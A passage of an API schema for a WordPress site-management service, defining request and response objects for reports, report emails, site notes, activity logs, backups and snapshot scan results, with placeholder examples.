"required": [ "report" ], "additionalProperties": true, "description": "Request body for creating a one-time report and starting generation.", "properties": { "report": { "type": "object", "required": [ "site_id", "start_date", "end_date", "report_template_data" ], "additionalProperties": true, "description": "Report generation details, including the site, date range, timezone, and report contents. Include `report_template_data` even when `template_id` is supplied.", "properties": { "site_id": { "type": "string", "description": "Site ID returned in site lists and details.", "example": "9bf3c2e7a1b24c6d8e9f0123456789ab" }, "timezone": { "type": "string", "default": "UTC", "description": "Timezone name used to resolve the report date range, such as `UTC` or `Asia/Kolkata`.", "example": "UTC" }, "start_date": { "type": "string", "format": "date", "description": "Report period start date.", "example": "2026-01-01" }, "end_date": { "type": "string", "format": "date", "description": "Report period end date.", "example": "2026-01-31" }, "template_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Optional report template ID. When it matches an active template in your account, `report_template_data` overrides that template's report contents; otherwise `report_template_data` defines the report contents directly.", "example": "nR4eJk7pLm2xWc8vYs5fTd9a" }, "report_template_data": { "type": "object", "required": [ "general", "sections", "section_order" ], "additionalProperties": true, "description": "Report appearance and section content used to render the one-time report.", "properties": { "general": { "type": "object", "required": [], "additionalProperties": true, "description": "General report appearance options such as color, language, and date format.", "properties": { "primary_color": { "type": "string", "description": "Primary report color.", "example": "#112233" }, "language": { "description": "Report language option.", "oneOf": [ { "type": "string" }, { "type": "integer" } ], "example": "en" }, "date_format": { "description": "Report date format option.", "oneOf": [ { "type": "string" }, { "type": "integer" } ], "example": "DD/MM/YYYY" } } }, "sections": { "type": "object", "propertyNames": { "enum": [ "cover", "introduction", "overview", "updates", "backups", "security_v2", "firewall_v2", "uptime_v2", "performance", "google_analytics_v2", "custom_work", "conclusion" ] }, "additionalProperties": true, "description": "Section configuration keyed by public section name.", "example": { "introduction": { "visible": true, "heading": "Introduction", "description": "Report introduction." } } }, "section_order": { "type": "array", "description": "Ordered list of section keys to render in the report.", "items": { "type": "string", "enum": [ "cover", "introduction", "overview", "updates", "backups", "security_v2", "firewall_v2", "uptime_v2", "performance", "google_analytics_v2", "custom_work", "conclusion" ] }, "example": [ "introduction", "overview" ] } } } } } }, "example": { "report": { "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "timezone": "UTC", "start_date": "2026-01-01", "end_date": "2026-01-31", "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a", "report_template_data": { "general": { "primary_color": "#112233", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "introduction": { "visible": true, "heading": "Introduction", "description": "Report introduction." } }, "section_order": [ "introduction" ] } } } }, "CreateReportResponse": { "type": "object", "required": [ "task" ], "description": "Task returned after report generation starts.", "properties": { "task": { "type": "object", "required": [ "id", "status", "created_at" ], "description": "Task created for report generation.", "properties": { "id": { "type": "string", "description": "Task ID returned after report generation starts. Use it with Tasks to track progress.", "example": "task-report-create" }, "status": { "type": "string", "description": "Task status at creation time.", "example": "queued" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the task was created.", "example": "2026-01-01T00:00:00Z" } } } }, "example": { "task": { "id": "task-report-create", "status": "queued", "created_at": "2026-01-01T00:00:00Z" } } }, "ShowReportResponse": { "type": "object", "required": [ "report" ], "description": "Response envelope for one report.", "properties": { "report": { "$ref": "#/components/schemas/Report" } }, "example": { "report": { "id": "hT5bWx8nKq3mJr6vGs9fYd2a", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://reports.example.com" }, "title": "Website report", "type": "one_time", "client": { "id": "jT7nK2xR8mL4pQ9vW5hY3bFe", "name": "John Client", "email": "client@example.com" }, "start_date": "2026-01-01", "end_date": "2026-01-31", "created_at": "2026-02-01T12:00:00Z", "email": { "subject": "Website report", "body": "Report body", "attach_pdf": false, "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd", "email": "sender@example.com" }, "recipients": [ { "email": "client@example.com", "status": "delivered", "sent_at": "2026-01-02T00:00:00Z", "delivered_at": "2026-01-02T00:05:00Z", "opened_at": null } ] } } } }, "SendReportEmailRequest": { "type": "object", "required": [ "send_email" ], "additionalProperties": true, "description": "Request body for sending a report by email.", "properties": { "send_email": { "type": "object", "required": [ "recipients", "sender_email", "subject", "body" ], "additionalProperties": true, "description": "Fields for sending the report by email.", "properties": { "recipients": { "type": "array", "minItems": 1, "description": "Recipient email addresses.", "items": { "type": "string", "format": "email" }, "example": [ "client@example.com" ] }, "sender_email": { "oneOf": [ { "type": "object", "required": [ "id" ], "additionalProperties": true, "properties": { "id": { "$ref": "#/components/schemas/SenderEmailId" } } }, { "type": "null" } ], "description": "Sender email to use. Send `null` to use the standard sender, or include `id` to use a custom sender email from your account.", "example": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd" } }, "subject": { "type": "string", "minLength": 1, "description": "Email subject.", "example": "Website report" }, "body": { "type": "string", "minLength": 1, "description": "Email body.", "example": "Report body" }, "attach_pdf": { "type": "boolean", "default": true, "description": "Whether to attach the report PDF.", "example": true } } } }, "example": { "send_email": { "recipients": [ "client@example.com" ], "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd" }, "subject": "Website report", "body": "Report body", "attach_pdf": true } } }, "SendReportEmailResponse": { "type": "object", "required": [ "send_email", "meta" ], "description": "Result envelope for sending a report by email.", "properties": { "send_email": { "type": "object", "required": [ "recipients", "errors" ], "description": "Recipient results for this send-email request.", "properties": { "recipients": { "type": "array", "description": "Recipient email addresses processed successfully.", "items": { "type": "string", "format": "email" }, "example": [ "client@example.com" ] }, "errors": { "type": "array", "description": "Recipient-level send failures.", "items": { "type": "object", "required": [ "email", "code", "message" ], "properties": { "email": { "type": "string", "format": "email", "description": "Recipient email address that failed.", "example": "client@example.com" }, "code": { "type": "string", "description": "Stable failure code.", "example": "operation_failed" }, "message": { "type": "string", "description": "Client-safe failure message.", "example": "Failed to send report" } } } } } }, "meta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "description": "Summary counts for the send-email request.", "properties": { "requested": { "type": "integer", "description": "Number of submitted recipients processed.", "example": 2 }, "succeeded": { "type": "integer", "description": "Number of submitted recipients that succeeded.", "example": 1 }, "failed": { "type": "integer", "description": "Number of submitted recipients that failed.", "example": 1 } } } }, "example": { "send_email": { "recipients": [ "client@example.com" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } }, "Note": { "type": "object", "required": [ "id", "content", "user", "versions", "created_at", "updated_at" ], "description": "Text note attached to a WordPress site for operational context, handoff\ndetails, reminders, or work history. Notes can retain previous content\nversions after edits.\n", "properties": { "id": { "$ref": "#/components/schemas/NoteId" }, "content": { "type": "string", "description": "The current note text shown on the site.", "example": "Plugin update completed" }, "user": { "oneOf": [ { "type": "object", "required": [ "name", "email" ], "properties": { "name": { "type": "string", "description": "Stored first name for the associated user. Empty string means no first name is stored.", "example": "Admin" }, "email": { "type": "string", "format": "email", "description": "Email address for the associated user.", "example": "admin-notes@example.com" } } }, { "type": "null" } ], "description": "User associated with the note, or `null` when the user cannot be resolved." }, "versions": { "type": "object", "required": [ "available" ], "description": "Version availability for this note.", "properties": { "available": { "type": "boolean", "description": "Whether previous content versions are available for this note.", "example": true } } }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the note was created.", "example": "2026-02-27T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the current note content was last updated.", "example": "2026-02-28T08:45:00Z" } }, "example": { "id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a", "content": "Plugin update completed", "user": { "name": "Admin", "email": "admin-notes@example.com" }, "versions": { "available": true }, "created_at": "2026-02-27T10:00:00Z", "updated_at": "2026-02-28T08:45:00Z" } }, "ListSiteNotesSort": { "type": "string", "default": "updated_at,desc", "description": "Sort order for returned notes.", "example": "updated_at,desc" }, "ListSiteNotesFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned notes.", "properties": { "user_email:eq": { "type": "string", "format": "email", "description": "Match notes created by a user with this email address.", "example": "admin@example.com" }, "user_email:contains": { "type": "string", "description": "Match notes created by users whose email address contains this value.", "example": "admin" }, "content:contains": { "type": "string", "description": "Match notes whose content contains this value.", "example": "update" }, "created_at:gte": { "type": "string", "format": "date-time", "description": "Return notes created at or after this timestamp.", "example": "2026-02-01T00:00:00Z" }, "created_at:lte": { "type": "string", "format": "date-time", "description": "Return notes created at or before this timestamp.", "example": "2026-02-28T23:59:59Z" }, "updated_at:gte": { "type": "string", "format": "date-time", "description": "Return notes updated at or after this timestamp.", "example": "2026-02-01T00:00:00Z" }, "updated_at:lte": { "type": "string", "format": "date-time", "description": "Return notes updated at or before this timestamp.", "example": "2026-02-28T23:59:59Z" } }, "example": { "content:contains": "update", "user_email:eq": "admin@example.com" } }, "ListSiteNotesRequest": { "type": "object", "required": [], "additionalProperties": true, "description": "Query parameters for listing site notes.", "properties": { "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of notes per page.", "example": 100 }, "sort": { "$ref": "#/components/schemas/ListSiteNotesSort" }, "filters": { "$ref": "#/components/schemas/ListSiteNotesFilters" } }, "example": { "page": 1, "perPage": 100, "sort": "updated_at,desc", "filters": { "content:contains": "update", "user_email:eq": "admin@example.com" } } }, "ListSiteNotesResponse": { "type": "object", "required": [ "notes", "meta" ], "description": "Paginated response envelope for notes on a site.", "properties": { "notes": { "type": "array", "description": "Notes returned on this page. Previous content versions are available for a note when `versions.available` is `true`.", "items": { "$ref": "#/components/schemas/Note" } }, "meta": { "type": "object", "required": [ "pagination" ], "description": "Pagination metadata for the note collection.", "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "notes": [ { "id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a", "content": "Plugin update completed", "user": { "name": "Admin", "email": "admin-notes@example.com" }, "versions": { "available": true }, "created_at": "2026-02-27T10:00:00Z", "updated_at": "2026-02-28T08:45:00Z" }, { "id": "b9f2d4a6c8e1f3b5d7a9c1e3f5b7d9a2c4e6f8b1d3a5c7e9", "content": "Cache cleared after plugin update", "user": { "name": "Owner", "email": "owner-notes@example.com" }, "versions": { "available": false }, "created_at": "2026-02-26T14:20:00Z", "updated_at": "2026-02-26T14:20:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "CreateSiteNoteRequest": { "type": "object", "required": [ "note" ], "additionalProperties": true, "description": "Fields for creating a note for the selected site.", "properties": { "note": { "type": "object", "required": [ "content" ], "additionalProperties": true, "description": "Note content to save.", "properties": { "content": { "type": "string", "maxLength": 2500, "description": "Text to save in the note. Blank values are rejected.", "example": "Security scan enabled" } } } }, "example": { "note": { "content": "Security scan enabled" } } }, "CreateSiteNoteResponse": { "type": "object", "required": [ "note" ], "description": "Response envelope returned after a note is created.", "properties": { "note": { "$ref": "#/components/schemas/Note" } }, "example": { "note": { "id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a", "content": "Security scan enabled", "user": { "name": "Owner", "email": "owner-notes@example.com" }, "versions": { "available": false }, "created_at": "2026-02-28T09:00:00Z", "updated_at": "2026-02-28T09:00:00Z" } } }, "ShowSiteNoteRequest": { "type": "object", "required": [ "site_id", "note_id" ], "description": "Path parameters for reading one site note.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "note_id": { "$ref": "#/components/schemas/NoteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "note_id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a" } }, "ShowSiteNoteResponse": { "type": "object", "required": [ "note" ], "description": "Response envelope for one site note.", "properties": { "note": { "$ref": "#/components/schemas/Note" } }, "example": { "note": { "id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a", "content": "Plugin update completed", "user": { "name": "Admin", "email": "admin-notes@example.com" }, "versions": { "available": true }, "created_at": "2026-02-27T10:00:00Z", "updated_at": "2026-02-28T08:45:00Z" } } }, "UpdateSiteNoteRequest": { "type": "object", "required": [ "note" ], "additionalProperties": true, "description": "Fields for updating one note for the selected site.", "properties": { "note": { "type": "object", "required": [ "content" ], "additionalProperties": true, "description": "Note content to save. `content` is the only editable field.", "properties": { "content": { "type": "string", "maxLength": 2500, "description": "Replacement note text. Blank values are rejected.", "example": "Plugin update completed and cache cleared" } } } }, "example": { "note": { "content": "Plugin update completed and cache cleared" } } }, "UpdateSiteNoteResponse": { "type": "object", "required": [ "note" ], "description": "Response envelope returned after the current note content is updated.", "properties": { "note": { "$ref": "#/components/schemas/Note" } }, "example": { "note": { "id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a", "content": "Plugin update completed and cache cleared", "user": { "name": "Admin", "email": "admin-notes@example.com" }, "versions": { "available": true }, "created_at": "2026-02-27T10:00:00Z", "updated_at": "2026-02-28T08:45:00Z" } } }, "DeleteSiteNoteRequest": { "type": "object", "required": [ "site_id", "note_id" ], "description": "Path parameters for removing a site note.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "note_id": { "$ref": "#/components/schemas/NoteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "note_id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a" } }, "ListSiteNoteVersionsRequest": { "type": "object", "required": [ "site_id", "note_id" ], "description": "Path parameters for listing previous versions of one site note.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "note_id": { "$ref": "#/components/schemas/NoteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "note_id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a" } }, "ListSiteNoteVersionsResponse": { "type": "object", "required": [ "versions" ], "description": "Response envelope for previous content versions of one note.", "properties": { "versions": { "type": "array", "description": "Previous note versions ordered from most recent to oldest.", "items": { "type": "object", "required": [ "id", "content", "user", "created_at", "updated_at" ], "description": "Previous content version for a note.\n", "properties": { "id": { "$ref": "#/components/schemas/NoteId" }, "content": { "type": "string", "description": "Note text captured for this previous version.", "example": "Initial plugin update note" }, "user": { "oneOf": [ { "type": "object", "required": [ "name", "email" ], "properties": { "name": { "type": "string", "description": "Stored first name for the associated user. Empty string means no first name is stored.", "example": "Admin" }, "email": { "type": "string", "format": "email", "description": "Email address for the associated user.", "example": "admin-notes@example.com" } } }, { "type": "null" } ], "description": "User associated with this previous version, or `null` when the user cannot be resolved." }, "created_at": { "type": "string", "format": "date-time", "description": "Time when this previous version was created.", "example": "2026-02-27T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when this previous version was last updated.", "example": "2026-02-27T10:00:00Z" } }, "example": { "id": "c4e6f8b1d3a5c7e9f2b4d6a8c1e3f5b7d9a2c4e6f8b1d3a5", "content": "Initial plugin update note", "user": { "name": "Admin", "email": "admin-notes@example.com" }, "created_at": "2026-02-27T10:00:00Z", "updated_at": "2026-02-27T10:00:00Z" } } } }, "example": { "versions": [ { "id": "c4e6f8b1d3a5c7e9f2b4d6a8c1e3f5b7d9a2c4e6f8b1d3a5", "content": "Initial plugin update note", "user": { "name": "Admin", "email": "admin-notes@example.com" }, "created_at": "2026-02-27T10:00:00Z", "updated_at": "2026-02-27T10:00:00Z" }, { "id": "b8d4f2a6c9e1b3d5f7a9c2e4b6d8f1a3c5e7b9d2f4a6c8e1", "content": "Plugin update scheduled for maintenance window", "user": { "name": "Priya", "email": "priya-notes@example.com" }, "created_at": "2026-02-26T16:30:00Z", "updated_at": "2026-02-26T16:30:00Z" } ] } }, "SiteActivityLogStatus": { "type": "object", "required": [ "enabled" ], "description": "Activity logging state for a site.", "properties": { "enabled": { "type": "boolean", "description": "Whether activity logging is enabled for the site.", "example": true } }, "example": { "enabled": true } }, "SiteActivityLogFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned activity logs.", "properties": { "timestamp:gte": { "type": "string", "format": "date-time", "description": "Return activity collected at or after this time.", "example": "2026-03-01T00:00:00Z" }, "timestamp:lte": { "type": "string", "format": "date-time", "description": "Return activity collected at or before this time.", "example": "2026-03-31T23:59:59Z" }, "username:eq": { "type": "string", "description": "Match activity for exactly this user name.", "example": "admin" }, "username:contains": { "type": "string", "description": "Match activity where the user name contains this value.", "example": "adm" }, "ip_address:eq": { "type": "string", "description": "Match activity from exactly this IP address.", "example": "192.0.2.10" }, "ip_address:contains": { "type": "string", "description": "Match activity where the IP address contains this value.", "example": "192.0.2" }, "search:contains": { "type": "string", "description": "Match activity details that contain this value.", "example": "plugin" }, "object_type:eq": { "type": "string", "description": "Match one supported `object_type` value.", "example": "plugin" }, "event_type:eq": { "type": "string", "description": "Match one supported `event_type` value.", "example": "activated" } }, "example": { "timestamp:gte": "2026-03-01T00:00:00Z", "timestamp:lte": "2026-03-31T23:59:59Z", "username:eq": "admin", "object_type:eq": "plugin", "event_type:eq": "activated" } }, "ListSiteActivityLogsSort": { "type": "string", "default": "timestamp,desc", "description": "Sort order for returned activity logs.", "example": "timestamp,desc" }, "ListSiteActivityLogsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for listing activity logs.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "filters": { "$ref": "#/components/schemas/SiteActivityLogFilters" }, "sort": { "$ref": "#/components/schemas/ListSiteActivityLogsSort" }, "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 500, "default": 25, "description": "Number of activity logs per page.", "example": 25 } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "filters": { "timestamp:gte": "2026-03-01T00:00:00Z", "username:eq": "admin" }, "sort": "timestamp,desc", "page": 1, "perPage": 25 } }, "ListSiteActivityLogsResponse": { "type": "object", "required": [ "activity_logs", "meta" ], "description": "Response envelope returned with paginated activity logs.", "properties": { "activity_logs": { "type": "array", "description": "Activity log entries for the selected site.", "items": { "type": "object", "required": [ "id", "username", "ip_address", "country_code", "object_type", "event_type", "event_details", "timestamp" ], "description": "One activity event for a site.", "properties": { "id": { "type": "string", "description": "Activity log ID.", "example": "e4c7a9f2d8b1c5e6" }, "username": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Site user name associated with the action, or `null` when no user name was captured.", "example": "admin" }, "ip_address": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "IP address associated with the action, or `null` when no IP address was captured.", "example": "192.0.2.10" }, "country_code": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Country code resolved from the IP address, or `null` when it cannot be resolved.", "example": "US" }, "object_type": { "type": "string", "description": "Public category for the object that changed, such as `post`, `plugin`, `theme`, `user`, `wp_core`, or `site`.", "example": "plugin" }, "event_type": { "type": "string", "description": "Public action label, such as `updated`, `activated`, `deactivated`, `login`, `logout`, or `password_reset`.", "example": "activated" }, "event_details": { "oneOf": [ { "type": "object" }, { "type": "array" }, { "type": "string" }, { "type": "number" }, { "type": "boolean" }, { "type": "null" } ], "description": "Event-specific details. The structure depends on the type of activity.", "example": { "plugin": { "name": "Example Plugin", "version": "1.0.0" } } }, "timestamp": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the activity was collected, or `null` if no time was available.", "example": "2026-03-01T04:12:54Z" } }, "example": { "id": "e4c7a9f2d8b1c5e6", "username": "admin", "ip_address": "192.0.2.10", "country_code": "US", "object_type": "plugin", "event_type": "activated", "event_details": { "plugin": { "name": "Example Plugin", "version": "1.0.0" } }, "timestamp": "2026-03-01T04:12:54Z" } } }, "meta": { "type": "object", "required": [ "pagination" ], "description": "Response metadata.", "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "activity_logs": [ { "id": "e4c7a9f2d8b1c5e6", "username": "admin", "ip_address": "192.0.2.10", "country_code": "US", "object_type": "plugin", "event_type": "activated", "event_details": { "plugin": { "name": "Example Plugin", "version": "1.0.0" } }, "timestamp": "2026-03-01T04:12:54Z" }, { "id": "6f3a8d2c1e9b7f4a", "username": "editor", "ip_address": "198.51.100.8", "country_code": "IN", "object_type": "post", "event_type": "updated", "event_details": {}, "timestamp": "2026-03-01T03:45:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 25, "totalPages": 1, "totalItems": 2 } } } }, "EnableSiteActivityLogsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for enabling activity logging on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "EnableSiteActivityLogsResponse": { "type": "object", "required": [ "activity_logs" ], "description": "Response envelope returned after activity logging is enabled.", "properties": { "activity_logs": { "$ref": "#/components/schemas/SiteActivityLogStatus" } }, "example": { "activity_logs": { "enabled": true } } }, "DisableSiteActivityLogsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for disabling activity logging on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "DisableSiteActivityLogsResponse": { "type": "object", "required": [ "activity_logs" ], "description": "Response envelope returned after activity logging is disabled.", "properties": { "activity_logs": { "$ref": "#/components/schemas/SiteActivityLogStatus" } }, "example": { "activity_logs": { "enabled": false } } }, "SiteBackupState": { "type": "object", "required": [ "enabled" ], "description": "Backup state for a site.", "properties": { "enabled": { "type": "boolean", "description": "Whether backups are enabled for the site.", "example": true } }, "example": { "enabled": true } }, "SiteBackupOperationConflictError": { "type": "object", "required": [ "error" ], "description": "Conflict response returned when another backup operation is already active for the site.", "properties": { "error": { "type": "object", "required": [ "status", "code", "message", "details" ], "description": "Standard conflict error envelope.", "properties": { "status": { "type": "integer", "description": "HTTP status code.", "enum": [ 409 ], "example": 409 }, "code": { "type": "string", "description": "Machine-readable HTTP error code.", "enum": [ "conflict" ], "example": "conflict" }, "message": { "type": "string", "description": "Human-readable error message.", "example": "Conflict" }, "details": { "type": "array", "description": "Active backup operation details.", "items": { "type": "object", "required": [ "code", "message" ], "properties": { "code": { "type": "string", "description": "Machine-readable detail code.", "enum": [ "already_in_progress" ], "example": "already_in_progress" }, "message": { "type": "string", "description": "Human-readable detail message.", "example": "Backup operation already in progress" }, "task_id": { "type": "string", "description": "Existing task ID when an active backup operation task can be resolved.", "example": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" } } } } } } }, "example": { "error": { "status": 409, "code": "conflict", "message": "Conflict", "details": [ { "code": "already_in_progress", "message": "Backup operation already in progress", "task_id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" } ] } } }, "SiteSnapshot": { "type": "object", "required": [ "id", "created_at", "status", "note", "error_message", "backups", "security", "performance" ], "description": "Backup snapshot details for one site.", "properties": { "id": { "$ref": "#/components/schemas/SnapshotId" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the snapshot was created.", "example": "2026-01-09T09:06:43Z" }, "status": { "type": "string", "enum": [ "succeeded", "failed", "in_progress", "waiting", "cancelled" ], "description": "Snapshot status.", "example": "succeeded" }, "note": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Optional note saved with the snapshot.", "example": "Before plugin update" }, "error_message": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Failure message for failed snapshots, or null when no failure reason is available.", "example": null }, "backups": { "type": "object", "required": [ "enabled", "real_time", "files", "database" ], "description": "Backup state and backup coverage captured by the snapshot.", "properties": { "enabled": { "type": "boolean", "description": "Whether backups were enabled for the site snapshot.", "example": true }, "real_time": { "type": "boolean", "description": "Whether the snapshot was created by real-time backup collection.", "example": false }, "files": { "type": "object", "required": [ "count", "size" ], "description": "File counts and sizes for the snapshot.", "properties": { "count": { "type": "object", "required": [ "total", "synced", "ignored" ], "description": "Total, synced, and ignored file counts.", "properties": { "total": { "type": "integer", "minimum": 0, "description": "Total number of files considered for the snapshot.", "example": 12 }, "synced": { "type": "integer", "minimum": 0, "description": "Number of files included in the snapshot.", "example": 10 }, "ignored": { "type": "integer", "minimum": 0, "description": "Number of files excluded from the snapshot.", "example": 2 } } }, "size": { "type": "object", "required": [ "total", "synced", "ignored" ], "description": "Total, synced, and ignored file sizes in bytes.", "properties": { "total": { "type": "integer", "minimum": 0, "description": "Total file size in bytes.", "example": 1200 }, "synced": { "type": "integer", "minimum": 0, "description": "File size included in the snapshot, in bytes.", "example": 1000 }, "ignored": { "type": "integer", "minimum": 0, "description": "File size excluded from the snapshot, in bytes.", "example": 200 } } } } }, "database": { "type": "object", "required": [ "count", "size" ], "description": "Database table counts and sizes for the snapshot.", "properties": { "count": { "type": "object", "required": [ "total", "synced", "ignored" ], "description": "Total, synced, and ignored database table counts.", "properties": { "total": { "type": "integer", "minimum": 0, "description": "Total number of tables considered for the snapshot.", "example": 6 }, "synced": { "type": "integer", "minimum": 0, "description": "Number of tables included in the snapshot.", "example": 5 }, "ignored": { "type": "integer", "minimum": 0, "description": "Number of tables excluded from the snapshot.", "example": 1 } } }, "size": { "type": "object", "required": [ "total", "synced", "ignored" ], "description": "Total, synced, and ignored database sizes in bytes.", "properties": { "total": { "type": "integer", "minimum": 0, "description": "Total database size in bytes.", "example": 200 }, "synced": { "type": "integer", "minimum": 0, "description": "Database size included in the snapshot, in bytes.", "example": 200 }, "ignored": { "type": "integer", "minimum": 0, "description": "Database size excluded from the snapshot, in bytes.", "example": 0 } } } } } } }, "security": { "type": "object", "required": [ "enabled", "scanner" ], "description": "Security scan state and scanner results for the snapshot.", "properties": { "enabled": { "type": "boolean", "description": "Whether security scanning was enabled for the snapshot.", "example": true }, "scanner": { "type": "object", "required": [ "status", "detections" ], "description": "Scanner status, detections, and detail metrics when available.", "properties": { "status": { "type": "string", "enum": [ "clean", "hacked" ], "description": "Whether malware or security issues were detected in the snapshot.", "example": "clean" }, "files": { "type": "object", "required": [ "total", "scanned" ], "description": "File scan totals included in detail responses.", "properties": { "total": { "type": "integer", "minimum": 0, "description": "Total number of scannable files.", "example": 12 }, "scanned": { "type": "integer", "minimum": 0, "description": "Number of files scanned.", "example": 10 } } }, "database": { "type": "object", "required": [ "total", "scanned" ], "description": "Database scan totals included in detail responses.", "properties": { "total": { "type": "integer", "minimum": 0, "description": "Total number of database tables.", "example": 6 }, "scanned": { "type": "integer", "minimum": 0, "description": "Number of database tables scanned.", "example": 5 } } }, "detections": { "type": "object", "required": [ "files", "scripts", "cron_jobs" ], "description": "Malware and security detection counts.", "properties": { "files": { "type": "integer", "minimum": 0, "description": "Number of infected files detected.", "example": 0 }, "scripts": { "type": "integer", "minimum": 0, "description": "Number of malicious scripts detected.", "example": 0 }, "cron_jobs": { "type": "integer", "minimum": 0, "description": "Number of malicious cron jobs detected.", "example": 0 } } } } } } }, "performance": { "type": "object", "required": [ "enabled" ], "description": "Performance status and detail metrics when available.", "properties": { "enabled": { "type": "boolean", "description": "Whether performance monitoring was enabled for the snapshot.", "example": true }, "score": { "oneOf": [ { "type": "integer" }, { "type": "null" } ], "minimum": 0, "maximum": 100, "description": "Performance score included in detail responses, or null when unavailable.", "example": 85 }, "load_time": { "oneOf": [ { "type": "number" }, { "type": "null" } ], "minimum": 0, "description": "Page load time in seconds included in detail responses, or null when unavailable.", "example": 1.2 }, "page_size": { "oneOf": [ { "type": "integer" }, { "type": "null" } ], "minimum": 0, "description": "Page size in bytes included in detail responses, or null when unavailable.", "example": 512000 }, "total_requests": { "oneOf": [ { "type": "integer" }, { "type": "null" } ], "minimum": 0, "description": "Number of page requests included in detail responses, or null when unavailable.", "example": 42 } } } }, "example": { "id": "65a8f4c2d1b3e7f9a0c5d8e2", "created_at": "2026-01-09T09:06:43Z", "status": "succeeded", "note": "Before plugin update", "error_message": null, "backups": { "enabled": true, "real_time": false, "files": { "count": { "total": 12, "synced": 10, "ignored": 2 }, "size": { "total": 1200, "synced": 1000, "ignored": 200 } }, "database": { "count": { "total": 6, "synced": 5, "ignored": 1 }, "size": { "total": 200, "synced": 200, "ignored": 0 } } }, "security": { "enabled": true, "scanner": { "status": "clean", "files": { "total": 12, "scanned": 10 }, "database": { "total": 6, "scanned": 5 }, "detections": { "files": 0, "scripts": 0, "cron_jobs": 0 } } }, "performance": { "enabled": true, "score": 85, "load_time": 1.2, "page_size": 512000, "total_requests": 42 } } }, "SiteSnapshotFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned snapshots.", "properties": { "created_at:gte": { "type": "string", "format": "date-time", "description": "Include snapshots created on or after this time.", "example": "2026-01-01T00:00:00Z" }, "created_at:lte": { "type": "string", "format": "date-time", "description": "Include snapshots created on or before this time.", "example": "2026-01-31T23:59:59Z" }, "status:eq": { "type": "string", "description": "Match snapshots by status. Supported values for matching are `succeeded`, `failed`, `in_progress`, `waiting`, and `cancelled`.", "example": "succeeded" }, "scanner_status:eq": { "type": "string", "description": "Match snapshots by scanner status. Supported values for matching are `clean` and `hacked`.", "example": "clean" }, "note:present": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Use `true` to include only snapshots with a note, or `false` to include snapshots without a note.", "example": true } }, "example": { "created_at:gte": "2026-01-01T00:00:00Z", "status:eq": "succeeded", "scanner_status:eq": "clean", "note:present": true } }, "ListSiteSnapshotsSort": { "type": "string", "default": "created_at,desc", "description": "Sort order for returned snapshots.", "example": "created_at,desc" }, 